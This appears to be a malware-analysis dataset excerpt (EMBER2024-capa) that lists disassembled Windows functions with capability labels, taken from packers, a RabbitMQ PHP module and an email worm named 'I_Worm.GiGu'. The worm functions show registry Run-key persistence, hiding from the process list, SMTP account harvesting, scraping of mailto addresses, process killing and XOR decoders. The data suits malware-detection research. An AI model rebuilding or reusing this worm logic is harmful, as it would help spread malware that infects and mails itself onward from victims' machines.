joyce8/EMBER2024-capa huggingface dataset:
Function at 0x405385
Capabilities:
Encode data using xor

Disassembly:
inc ecx
pop esi
xor byte [esi + ecx + 7], cl
loop 0x405388
mov eax, 0x50402c1
out dx, al
clc
div esi
cmc
retf 0x3d52

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
nop
pop eax
nop
nop
nop
nop
add eax, 0x403daa
nop
sub eax, 0x403d50
nop
nop
nop
nop
nop
mov ebx, dword [eax]
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
jl 0x430030
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x43001e
nop
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp fcn.00401219

Function at 0x8ddf10
Capabilities:
Encode data using xor

Disassembly:
pushal
call 0x8ddf16
pop ebp
sub ebp, 6
sub ebp, 0x4ddf10
jmp 0x8ddf74
jmp 0x8ddf7d
mov eax, 0x4ddf10
add eax, ebp
add eax, 0x93
mov ecx, 0x61c
mov edx, 0xaea1742a
xor byte [eax], dl
inc eax
dec ecx
jne 0x8ddf94
jmp 0x8ddfa7
inc eax
push 0x42
sub bh, byte [edx]
sub ch, byte [edx]
inc edx
sub ah, dh
push es
sub bl, byte [ecx]
ljmp 0x6e0b
Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x40de38
mov ecx, 0x31096f4a
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x43304e
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x433024
mov eax, section..data
nop
mov ebx, 0x4304d8
nop
nop
mov ecx, 0x28fe0249
nop
nop
nop
nop
test eax, eax
nop
nop
je 0x433084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43306c
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x431219
Function at 0x10006530
Capabilities:
Set socket configuration

Disassembly:
push ecx
movsd xmm0, qword [esp + 0xc]
ucomisd xmm0, qword [0x10011e18]
lahf
test ah, 0x44
jp 0x1000654e
mov dword [esp], 0
jmp 0x1000656d
mulsd xmm0, qword [0x10011e30]
subsd xmm0, qword [0x10011e28]
maxsd xmm0, qword [0x10011e20]
cvttsd2si eax, xmm0
mov dword [esp], eax
push 4
lea eax, [esp + 4]
push eax
mov eax, dword [esp + 0x10]
push 0x1006
push 0xffff
push dword [eax + 0x14]
call sub.rabbitmq.4.dll_amqp_get_sockfd
add esp, 4
push eax
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
je 0x100065b2
push 0
push str.Socket_error:_cannot_setsockopt_SO_RCVTIMEO
push dword [0x10015e20]
call dword [sym.imp.php7.dll_zend_throw_exception]
add esp, 0xc
xor eax, eax
pop ecx
ret
mov eax, 1
pop ecx
ret

Function at 0x100065c0
Capabilities:
Set socket configuration

Disassembly:
push ecx
movsd xmm0, qword [esp + 0xc]
ucomisd xmm0, qword [0x10011e18]
lahf
test ah, 0x44
jp 0x100065de
mov dword [esp], 0
jmp 0x100065fd
mulsd xmm0, qword [0x10011e30]
subsd xmm0, qword [0x10011e28]
maxsd xmm0, qword [0x10011e20]
cvttsd2si eax, xmm0
mov dword [esp], eax
push 4
lea eax, [esp + 4]
push eax
mov eax, dword [esp + 0x10]
push 0x1005
push 0xffff
jmp 0x10019bb8
Function at 0x4011cb
Capabilities:
Terminate process

Disassembly:
mov eax, dword fs:[0]
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40601c
push 0x40109a
push eax
mov dword fs:[0], esp
sub esp, 0x10
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
push eax
fnstcw word [esp]
or word [esp], 0x300
fldcw word [esp]
add esp, 4
push 0
push 0
push 0x406028
push 0x406024
push 0x406020
call sub.CRTDLL.DLL___GetMainArgs
push dword [0x406028]
push dword [0x406024]
push dword [0x406020]
mov dword [0x406014], esp
call fcn.00403e74
add esp, 0x18
xor ecx, ecx
mov dword [ebp - 4], ecx
push eax
call sub.CRTDLL.DLL_exit
leave
ret

Function at 0x401dc4
Capabilities:
Get file size
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
push str.ImageHLP.DLL
call sub.KERNEL32.DLL_LoadLibraryA
mov dword [ebp - 0x14], eax
push str.CheckSumMappedFile
push eax
call sub.KERNEL32.DLL_GetProcAddress
mov dword [ebp - 4], eax
or eax, eax
jne 0x401dfe
push dword [ebp - 0x14]
call sub.KERNEL32.DLL_FreeLibrary
mov eax, 5
jmp 0x401f1d
push 0
push 0
push 3
push 0
push 1
push 0xc0000000
push dword [ebp + 8]
call sub.KERNEL32.DLL_CreateFileA
mov edi, eax
cmp edi, 0xffffffff
jne 0x401e24
xor eax, eax
inc eax
jmp 0x401f1d
push 0
push edi
call sub.KERNEL32.DLL_GetFileSize
mov dword [ebp - 0x1c], eax
push 0
push 0
push 0
push 4
push 0
push edi
call sub.KERNEL32.DLL_CreateFileMappingA
mov ebx, eax
or ebx, ebx
jne 0x401e55
push edi
call sub.KERNEL32.DLL_CloseHandle
mov eax, 2
jmp 0x401f1d
push 0
push 0
push 0
push 0xf001f
push ebx
call sub.KERNEL32.DLL_MapViewOfFile
mov esi, eax
or esi, esi
jne 0x401e82
push ebx
call sub.KERNEL32.DLL_CloseHandle
push edi
call sub.KERNEL32.DLL_CloseHandle
mov eax, 3
jmp 0x401f1d
mov dword [ebp - 0x10], esi
mov eax, esi
mov edx, dword [eax + 0x3c]
add edx, eax
mov dword [ebp - 0xc], edx
mov eax, esi
cmp word [eax], 0x5a4d
jne 0x401eb2
push 0xe0
push edx
call sub.KERNEL32.DLL_IsBadReadPtr
or eax, eax
jne 0x401eb2
mov edx, dword [ebp - 0xc]
cmp dword [edx], 0x4550
je 0x401ecb
push esi
call sub.KERNEL32.DLL_UnmapViewOfFile
push ebx
call sub.KERNEL32.DLL_CloseHandle
push edi
call sub.KERNEL32.DLL_CloseHandle
mov eax, 6
jmp 0x401f1d
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x18]
push eax
push dword [ebp - 0x1c]
push esi
call dword [ebp - 4]
mov eax, dword [ebp - 0xc]
mov edx, dword [ebp - 8]
mov dword [eax + 0x58], edx
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x18]
push eax
push dword [ebp - 0x1c]
push esi
call dword [ebp - 4]
push esi
call sub.KERNEL32.DLL_UnmapViewOfFile
push ebx
call sub.KERNEL32.DLL_CloseHandle
push edi
call sub.KERNEL32.DLL_CloseHandle
push dword [ebp - 0x14]
call sub.KERNEL32.DLL_FreeLibrary
mov eax, dword [ebp - 8]
cmp dword [ebp - 0x18], eax
je 0x401f1b
mov eax, 5
jmp 0x401f1d
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401f22
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
call sub.KERNEL32.DLL_GetTickCount
mov esi, eax
movzx esi, si
and esi, 0xffff
push esi
call sub.CRTDLL.DLL_srand
pop ecx
xor edi, edi
jmp 0x401f50
call sub.CRTDLL.DLL_rand
add dword [0x405b80], eax
inc edi
call sub.KERNEL32.DLL_GetTickCount
mov esi, eax
movzx esi, si
and esi, 0xffff
movzx esi, si
sar esi, 8
mov ebx, esi
and ebx, 0xff
mov esi, ebx
and esi, 0xff
cmp edi, esi
jb 0x401f44
xor edi, edi
jmp 0x401fab
call sub.CRTDLL.DLL_rand
mov dword [ebp - 4], eax
call sub.KERNEL32.DLL_GetTickCount
mov esi, dword [ebp - 4]
movzx esi, si
mov ebx, eax
movzx ebx, bx
and ebx, 0xffff
movzx ebx, bx
shl ebx, 0x10
or esi, ebx
xor dword [0x405b80], esi
inc edi
call sub.KERNEL32.DLL_GetTickCount
mov esi, eax
movzx esi, si
mov ebx, esi
and ebx, 0xffff
mov esi, ebx
and esi, 0xff
and esi, 0xff
cmp edi, esi
jb 0x401f7e
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4029d0
Capabilities:
Allocate or change rwx memory
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x11c
push ebx
push esi
push edi
mov dword [ebp - 4], 0x400000
lea eax, [ebp - 0x114]
push eax
push 0x40
push 0x9000
push 0x400000
call sub.KERNEL32.DLL_VirtualProtect
mov eax, dword [ebp - 4]
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], 0x5400
mov ecx, dword [eax + 0x3c]
mov ebx, ecx
add ebx, dword [ebp - 4]
mov eax, dword [eax + 0x3c]
mov edx, dword [ebp - 4]
lea edi, [eax + edx + 0xf8]
mov dword [ebx + 0x28], 0x11cb
mov dword [ebx + 0x50], 0x9000
mov dword [ebx + 0x30], 0x6000
mov dword [ebx + 0x2c], 0x1000
mov eax, 0x28
movzx ecx, word [ebx + 6]
dec ecx
mul ecx
mov dword [ebp - 0x118], eax
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0x3c]
mov edx, dword [ebp - 4]
lea eax, [eax + edx + 0xf8]
mov edx, dword [ebp - 0x118]
mov edi, edx
add edi, eax
mov dword [edi + 0x10], 0xb30
mov dword [edi + 8], 0xb30
xor esi, esi
jmp 0x402ab6
mov eax, 0x28
mul esi
mov dword [ebp - 0x11c], eax
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0x3c]
mov edx, dword [ebp - 4]
lea eax, [eax + edx + 0xf8]
mov edx, dword [ebp - 0x11c]
mov edi, edx
add edi, eax
mov eax, dword [edi + 0xc]
cmp dword [edi + 0x14], eax
jne 0x402aaf
mov dword [ebp - 0xc], 0x8000
jmp 0x402abe
mov eax, dword [edi + 0xc]
mov dword [edi + 0x14], eax
inc esi
movzx eax, word [ebx + 6]
cmp esi, eax
jb 0x402a77
call sub.KERNEL32.DLL_GetTickCount
push eax
call sub.CRTDLL.DLL_srand
push 0x9000
call sub.CRTDLL.DLL_malloc
add esp, 8
mov edi, eax
or edi, edi
je 0x402bdd
call sub.KERNEL32.DLL_GetCurrentProcess
lea edx, [ebp - 0x114]
push edx
push 0x9000
push edi
push 0x400000
push eax
call sub.KERNEL32.DLL_ReadProcessMemory
cmp dword [ebp - 0x114], 0x9000
jne 0x402bdd
push 0
call sub.KERNEL32.DLL_GetModuleHandleA
push 0x104
lea edx, [ebp - 0x110]
push edx
push eax
call sub.KERNEL32.DLL_GetModuleFileNameA
lea eax, [ebp - 0x110]
push eax
push dword [ebp + 8]
call sub.CRTDLL.DLL__strcmpi
add esp, 8
or eax, eax
je 0x402bdd
push 0x407a6e
push dword [ebp + 8]
call sub.CRTDLL.DLL_fopen
mov esi, eax
push 0x407a6b
lea eax, [ebp - 0x110]
push eax
call sub.CRTDLL.DLL_fopen
add esp, 0x10
mov ebx, eax
or ebx, ebx
je 0x402b6d
or esi, esi
jne 0x402b6f
jmp 0x402bdd
push 0
push 0
push esi
call sub.CRTDLL.DLL_fseek
push esi
push 0x9000
push 1
push edi
call sub.CRTDLL.DLL_fwrite
push 0
push dword [ebp - 0xc]
push ebx
call sub.CRTDLL.DLL_fseek
push ebx
push 0xb30
push 1
push edi
call sub.CRTDLL.DLL_fread
push 0
push 0x8000
push esi
call sub.CRTDLL.DLL_fseek
push esi
push 0xb30
push 1
push edi
call sub.CRTDLL.DLL_fwrite
push ebx
call sub.CRTDLL.DLL_fclose
push esi
call sub.CRTDLL.DLL_fclose
call fcn.00401f22
push dword [ebp + 8]
call fcn.00401fd4
push edi
call sub.CRTDLL.DLL_free
add esp, 0x64
pop edi
pop esi
pop ebx
leave
ret
Function at 0x402c32
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
push edi
and dword [0x405958], 0
push dword [ebp + 8]
call sub.wsock32.dll_inet_addr
mov edi, eax
cmp edi, 0xffffffff
jne 0x402c6b
push dword [ebp + 8]
call sub.wsock32.dll_gethostbyname
mov dword [0x405958], eax
or eax, eax
je 0x402c6d
mov eax, dword [0x405958]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
jmp 0x402c6d
mov eax, edi
pop edi
pop ebp
ret

Function at 0x402c70
Capabilities:
Create tcp socket
Create udp socket

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
push 0
push 1
push 2
call sub.wsock32.dll_socket
mov esi, dword [ebp + 8]
mov dword [esi], eax
cmp eax, 0xffffffff
jne 0x402c8f
or eax, 0xffffffff
jmp 0x402c91
xor eax, eax
pop edi
pop esi
pop ebp
ret

Function at 0x402c95
Capabilities:
Connect socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 0x10]
mov word [ebp + 0x10], ax
push 0x10
push 0x30
lea eax, [ebp - 0x10]
push eax
call sub.CRTDLL.DLL_memset
add esp, 0xc
mov word [ebp - 0x10], 2
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0xc], eax
movsx eax, word [ebp + 0x10]
movzx eax, ax
push eax
call sub.wsock32.dll_htons
mov word [ebp - 0xe], ax
push 0x10
lea eax, [ebp - 0x10]
push eax
push dword [ebp + 8]
call sub.wsock32.dll_connect
cmp eax, 0xffffffff
jne 0x402cf1
push dword [ebp + 8]
call sub.wsock32.dll_closesocket
mov eax, 0xfffffffc
jmp 0x402cf3
xor eax, eax
leave
ret

Function at 0x40320e
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push edi
mov edi, dword [ebp + 0x10]
lea eax, [ebp - 4]
push eax
push 2
push 0
push dword [ebp + 8]
push 0x80000002
call sub.ADVAPI32.DLL_RegOpenKeyExA
or eax, eax
je 0x403236
mov byte [edi], 0
xor eax, eax
jmp 0x403263
mov ecx, edi
or eax, 0xffffffff
inc eax
cmp byte [ecx + eax], 0
jne 0x40323b
add eax, 1
push eax
push edi
push 1
push 0
push dword [ebp + 0xc]
push dword [ebp - 4]
call sub.ADVAPI32.DLL_RegSetValueExA
push dword [ebp - 4]
call sub.ADVAPI32.DLL_RegCloseKey
mov eax, 1
pop edi
leave
ret
Function at 0x403266
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x16c
push ebx
push esi
push edi
push 0
push 2
call sub.KERNEL32.DLL_CreateToolhelp32Snapshot
mov dword [ebp - 0x12c], eax
or eax, eax
je 0x403358
push 0x128
lea eax, [ebp - 0x128]
push eax
call sub.KERNEL32.DLL_RtlZeroMemory
mov dword [ebp - 0x128], 0x128
lea eax, [ebp - 0x128]
push eax
push dword [ebp - 0x12c]
call sub.KERNEL32.DLL_Process32First
xor esi, esi
xor edi, edi
jmp 0x4032d5
movsx eax, byte [ebp + edi - 0x104]
push eax
call sub.CRTDLL.DLL_toupper
pop ecx
mov edx, eax
mov byte [ebp + edi - 0x104], dl
inc edi
lea ecx, [ebp - 0x104]
or eax, 0xffffffff
inc eax
cmp byte [ecx + eax], 0
jne 0x4032de
cmp edi, eax
jb 0x4032bc
mov edx, esi
shl edx, 4
lea edx, [edx + 0x406bd5]
push edx
lea edx, [ebp - 0x104]
push edx
call sub.CRTDLL.DLL_strstr
add esp, 8
cmp eax, 0
je 0x40332d
push dword [ebp - 0x120]
push 0
push 1
call sub.KERNEL32.DLL_OpenProcess
mov ebx, eax
cmp ebx, 0
je 0x40332d
push 0
push ebx
call sub.KERNEL32.DLL_TerminateProcess
cmp eax, 0
je 0x40332d
inc esi
cmp esi, 0x7e
jl 0x4032b8
lea eax, [ebp - 0x128]
push eax
push dword [ebp - 0x12c]
call sub.KERNEL32.DLL_Process32Next
or eax, eax
jne 0x4032b6
push dword [ebp - 0x12c]
call sub.KERNEL32.DLL_CloseHandle
pop edi
pop esi
pop ebx
leave
ret
Function at 0x403380
Capabilities:
Get common file path
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa4
push ebx
push esi
push edi
lea edi, [ebp - 0x9e]
lea esi, str.SoftwareMicrosoftInternet_Account_Manager
mov ecx, 0x19
rep movsw word es:[edi], word [esi]
mov dword [ebp - 0x6c], 0x32
push str.I_Worm.Gigu
push 0
push 0x1f0001
call sub.KERNEL32.DLL_OpenMutexA
mov dword [0x405bcc], eax
or eax, eax
je 0x4033c8
push 0
call sub.KERNEL32.DLL_ExitProcess
push str.I_Worm.Gigu
push 1
push 0
call sub.KERNEL32.DLL_CreateMutexA
mov dword [0x405bcc], eax
or eax, eax
je 0x4035d1
push 0x104
call sub.CRTDLL.DLL_malloc
mov dword [0x4059e8], eax
push 0x104
call sub.CRTDLL.DLL_malloc
mov dword [0x405bb8], eax
push 0x104
call sub.CRTDLL.DLL_malloc
mov dword [0x405b84], eax
push 0x104
call sub.CRTDLL.DLL_malloc
mov dword [0x405bc0], eax
push 0
call sub.KERNEL32.DLL_GetModuleHandleA
push 0x104
push dword [0x4059e8]
push eax
call sub.KERNEL32.DLL_GetModuleFileNameA
push 0x104
push dword [0x405bb8]
call sub.KERNEL32.DLL_GetWindowsDirectoryA
push 0x104
push dword [0x405b84]
call sub.KERNEL32.DLL_GetSystemDirectoryA
push 0x104
push dword [0x405bc0]
call sub.KERNEL32.DLL_GetSystemDirectoryA
push str.GiGu.eml
push dword [0x405b84]
call sub.CRTDLL.DLL_strcat
push str.GiGu.eXe
push dword [0x405bc0]
call sub.CRTDLL.DLL_strcat
add esp, 0x20
push 0x40335d
push 0x3e8
push 0x29a
push dword [0x405bc4]
call sub.USER32.DLL_SetTimer
mov dword [0x405c34], eax
push str.Kernel32.DLL
call sub.KERNEL32.DLL_LoadLibraryA
mov ebx, eax
or ebx, ebx
je 0x4034ca
push str.RegisterServiceProcess
push ebx
call sub.KERNEL32.DLL_GetProcAddress
mov dword [ebp - 0xa4], eax
cmp dword [ebp - 0xa4], 0
je 0x4034dd
push 1
push 0
call dword [ebp - 0xa4]
or ebx, ebx
je 0x4034e7
push ebx
call sub.KERNEL32.DLL_FreeLibrary
lea eax, [ebp - 4]
push eax
push 1
push 0
lea eax, [ebp - 0x9e]
push eax
push 0x80000001
call sub.ADVAPI32.DLL_RegOpenKeyExA
or eax, eax
jne 0x403526
lea eax, [ebp - 0x6c]
push eax
push 0x405c50
push 0
push 0
push str.Default_Mail_Account
push dword [ebp - 4]
call sub.ADVAPI32.DLL_RegQueryValueExA
push dword [ebp - 4]
call sub.ADVAPI32.DLL_RegCloseKey
lea eax, [ebp - 0x9e]
push eax
lea eax, [ebp - 0x68]
push eax
call fcn.00403ed8
push str.Accounts_
lea eax, [ebp - 0x68]
push eax
call sub.CRTDLL.DLL_strcat
push 0x405c50
lea eax, [ebp - 0x68]
push eax
call sub.CRTDLL.DLL_strcat
add esp, 0x10
mov byte [0x405c50], 0
mov dword [ebp - 0x6c], 0x32
lea eax, [ebp - 4]
push eax
push 1
push 0
lea eax, [ebp - 0x68]
push eax
push 0x80000001
call sub.ADVAPI32.DLL_RegOpenKeyExA
or eax, eax
jne 0x4035c2
lea eax, [ebp - 0x6c]
push eax
push 0x405c50
push 0
push 0
push str.SMTP_Server
push dword [ebp - 4]
call sub.ADVAPI32.DLL_RegQueryValueExA
mov dword [ebp - 0x6c], 0x32
lea eax, [ebp - 0x6c]
push eax
push 0x405bd0
push 0
push 0
push str.SMTP_Email_Address
push dword [ebp - 4]
call sub.ADVAPI32.DLL_RegQueryValueExA
push dword [ebp - 4]
call sub.ADVAPI32.DLL_RegCloseKey
jmp 0x4035d1
push str.localhost
push 0x405c50
call fcn.00403ed8
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40361e
Capabilities:
Copy file

Disassembly:
push edi
push 0x104
call sub.CRTDLL.DLL_malloc
mov edi, eax
push dword [0x405bb8]
push edi
call fcn.00403ed8
push 0x40795a
push edi
call sub.CRTDLL.DLL_strcat
push 1
push edi
push dword [0x4059e8]
call sub.KERNEL32.DLL_CopyFileA
push str.uGiG.eXe
push str.I_Worm.GiGu
push str.SoftwareMicrosoftWindowsCurrentVersionRun
call fcn.0040320e
push edi
call sub.CRTDLL.DLL_free
add esp, 0x1c
pop edi
ret

Function at 0x40366f
Capabilities:
Get file size
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push ebx
push esi
push edi
lea edi, [ebp - 0x14]
lea esi, str.mailto:
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
and dword [ebp - 0x1c], 0
and dword [ebp - 0xc], 0
mov eax, dword [ebp + 0xc]
mov byte [eax], 0
push 0
push 0x20
push 3
push 0
push 1
push 0x80000000
push dword [ebp + 8]
call sub.KERNEL32.DLL_CreateFileA
mov dword [ebp - 0x20], eax
cmp eax, 0xffffffff
je 0x4037fe
push 0
push dword [ebp - 0x20]
call sub.KERNEL32.DLL_GetFileSize
mov dword [ebp - 0x18], eax
or eax, eax
je 0x4037fe
cmp dword [ebp - 0x18], 8
jb 0x4037fe
sub dword [ebp - 0x18], 0x64
push 0
push 0
push 0
push 2
push 0
push dword [ebp - 0x20]
call sub.KERNEL32.DLL_CreateFileMappingA
mov dword [ebp - 0x24], eax
or eax, eax
jne 0x4036fd
push dword [ebp - 0x20]
call sub.KERNEL32.DLL_CloseHandle
jmp 0x4037fe
push 0
push 0
push 0
push 4
push dword [ebp - 0x24]
call sub.KERNEL32.DLL_MapViewOfFile
mov dword [ebp - 4], eax
or eax, eax
jne 0x403729
push dword [ebp - 0x24]
call sub.KERNEL32.DLL_CloseHandle
push dword [ebp - 0x20]
call sub.KERNEL32.DLL_CloseHandle
jmp 0x4037fe
xor ebx, ebx
jmp 0x4037c6
lea ecx, [ebp - 0x14]
or eax, 0xffffffff
inc eax
cmp byte [ecx + eax], 0
jne 0x403736
push eax
lea eax, [ebp - 0x14]
push eax
mov eax, ebx
add eax, dword [ebp - 4]
push eax
call sub.CRTDLL.DLL_memcmp
add esp, 0xc
cmp eax, 0
jne 0x4037c5
mov dword [ebp - 0x1c], 1
lea ecx, [ebp - 0x14]
or eax, 0xffffffff
inc eax
cmp byte [ecx + eax], 0
jne 0x403762
add ebx, eax
mov eax, dword [ebp - 0x18]
sub eax, 8
cmp ebx, eax
jae 0x4037da
and dword [ebp - 8], 0
jmp 0x40379e
mov eax, dword [ebp - 8]
mov edx, dword [ebp + 0xc]
mov ecx, dword [ebp - 4]
mov cl, byte [ecx + ebx]
mov byte [edx + eax], cl
inc dword [ebp - 8]
inc ebx
mov eax, dword [ebp - 4]
cmp byte [eax + ebx], 0x40
jne 0x40379e
mov dword [ebp - 0xc], 1
mov eax, dword [ebp - 4]
movzx eax, byte [eax + ebx]
test byte [eax + str.________________________________H], 7
jne 0x40377b
cmp eax, 0x2e
je 0x40377b
cmp eax, 0x40
je 0x40377b
mov eax, dword [ebp - 8]
mov edx, dword [ebp + 0xc]
mov byte [edx + eax], 0
jmp 0x4037c6
inc ebx
mov eax, dword [ebp - 0x18]
sub eax, 8
cmp ebx, eax
jae 0x4037da
cmp dword [ebp - 0x1c], 0
je 0x403730
cmp dword [ebp - 0xc], 0
jne 0x4037e6
mov eax, dword [ebp + 0xc]
mov byte [eax], 0
push dword [ebp - 4]
call sub.KERNEL32.DLL_UnmapViewOfFile
push dword [ebp - 0x24]
call sub.KERNEL32.DLL_CloseHandle
push dword [ebp - 0x20]
call sub.KERNEL32.DLL_CloseHandle
pop edi
pop esi
pop ebx
leave
ret
Function at 0x403803
Capabilities:
Enumerate files on windows
Set current directory
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x80
push esi
push edi
xor edi, edi
inc edi
push dword [ebp + 8]
call sub.KERNEL32.DLL_SetCurrentDirectoryA
push 0x405810
push dword [ebp + 0xc]
call sub.KERNEL32.DLL_FindFirstFileA
mov esi, eax
cmp esi, 0xffffffff
je 0x403895
jmp 0x403891
push 0x20
push 0x40583c
call sub.KERNEL32.DLL_SetFileAttributesA
lea eax, [ebp - 0x80]
push eax
push 0x40583c
call fcn.0040366f
add esp, 8
lea ecx, [ebp - 0x80]
or eax, 0xffffffff
inc eax
cmp byte [ecx + eax], 0
jne 0x403852
cmp eax, 0
je 0x403884
lea eax, [ebp - 0x80]
push eax
push 0x405cd0
call fcn.00403ed8
push dword [0x405b84]
push 0x405c50
call fcn.00402e93
add esp, 8
cmp eax, 1
jne 0x40386c
push 0x405810
push esi
call sub.KERNEL32.DLL_FindNextFileA
mov edi, eax
or edi, edi
jne 0x40382f
pop edi
pop esi
leave
ret
Function at 0x403cf2
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
push edi
mov edi, dword [ebp + 8]
call fcn.00403380
push 0x28
push 0
lea eax, [ebp - 0x44]
push eax
call sub.CRTDLL.DLL_memset
add esp, 0xc
lea eax, [0x404150]
mov dword [ebp - 0x40], eax
and dword [ebp - 0x3c], 0
and dword [ebp - 0x38], 0
mov dword [ebp - 0x34], edi
push 0x7f00
push 0
call sub.USER32.DLL_LoadCursorA
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], 6
lea eax, str.I_Worm.GiGu_v0.1_
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x44]
push eax
call sub.USER32.DLL_RegisterClassA
push 0
push edi
push 0
push 0
push 0
push 0
push 0
push 0
push 0x80000000
push str.I_Worm.GiGu_v0.1_
push str.I_Worm.GiGu_v0.1_
push 8
call sub.USER32.DLL_CreateWindowExA
mov dword [0x405bc4], eax
or eax, eax
je 0x403df7
call fcn.0040361e
call fcn.00403ce5
push dword [0x405bc0]
push dword [0x405b84]
call fcn.00403a65
add esp, 8
lea eax, [ebp - 0x48]
push eax
push 0
push 0
push 0x403899
push 0
push 0
call sub.KERNEL32.DLL_CreateThread
mov dword [0x405b8c], eax
push 0xfffffffffffffff1
push eax
call sub.KERNEL32.DLL_SetThreadPriority
push 0
push 0
push 0
lea eax, [ebp - 0x1c]
push eax
call sub.USER32.DLL_GetMessageA
lea eax, [ebp - 0x1c]
push eax
call sub.USER32.DLL_TranslateMessage
lea eax, [ebp - 0x1c]
push eax
call sub.USER32.DLL_DispatchMessageA
cmp dword [ebp - 0x18], 0x12
je 0x403def
cmp dword [ebp - 0x18], 2
je 0x403def
cmp dword [ebp - 0x18], 0x10
jne 0x403dbc
call fcn.004035d6
xor eax, eax
inc eax
pop edi
leave
ret 0x10

Function at 0x403e74
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
push ecx
push edi
call sub.KERNEL32.DLL_GetCommandLineA
mov edi, eax
cmp byte [edi], 0x22
jne 0x403ea8
push 0x22
mov eax, edi
inc eax
push eax
call sub.CRTDLL.DLL_strchr
add esp, 8
mov dword [ebp - 4], eax
or eax, eax
je 0x403ec3
mov edi, eax
inc edi
jmp 0x403ea0
inc edi
cmp byte [edi], 0x20
je 0x403e9f
jmp 0x403ec3
inc edi
movsx eax, byte [edi]
or eax, eax
je 0x403eb4
cmp eax, 0x20
jne 0x403ea7
jmp 0x403eb7
inc edi
movsx eax, byte [edi]
or eax, eax
je 0x403ec3
cmp eax, 0x20
je 0x403eb6
push 0
call sub.KERNEL32.DLL_GetModuleHandleA
push 1
push edi
push 0
push eax
call fcn.00403cf2
pop edi
leave
ret
Function at 0x404346
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [ebp - 0x18], ecx
mov dword [ebp - 4], 0
mov al, byte [0x414f4c]
mov byte [ebp - 8], al
xor ecx, ecx
mov byte [ebp - 7], cl
lea edx, [ebp - 8]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
add eax, 0x64
push eax
call fcn.004054db
add esp, 4
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp + 8]
mov edx, dword [ebp - 0x14]
mov dword [ecx], edx
mov eax, dword [ebp + 8]
cmp dword [eax], 0
je 0x404413
mov ecx, dword [ebp + 8]
mov edx, dword [ecx]
mov byte [edx], 0
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
push ecx
mov edx, dword [ebp - 0xc]
add edx, 0x28
push edx
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
push ecx
call fcn.00405460
add esp, 4
sub eax, 1
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jl 0x404413
mov edx, dword [ebp + 8]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x10]
movsx edx, byte [eax + ecx]
cmp edx, 0x5c
je 0x404413
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x10]
movsx eax, byte [ecx + edx]
cmp eax, 0x2f
je 0x404413
mov ecx, dword [ebp + 8]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x10]
mov byte [edx + eax], 0x5c
mov ecx, dword [ebp - 0x10]
add ecx, 1
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp + 8]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x10]
mov byte [eax + ecx], 0
mov dword [ebp - 4], 1
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret 4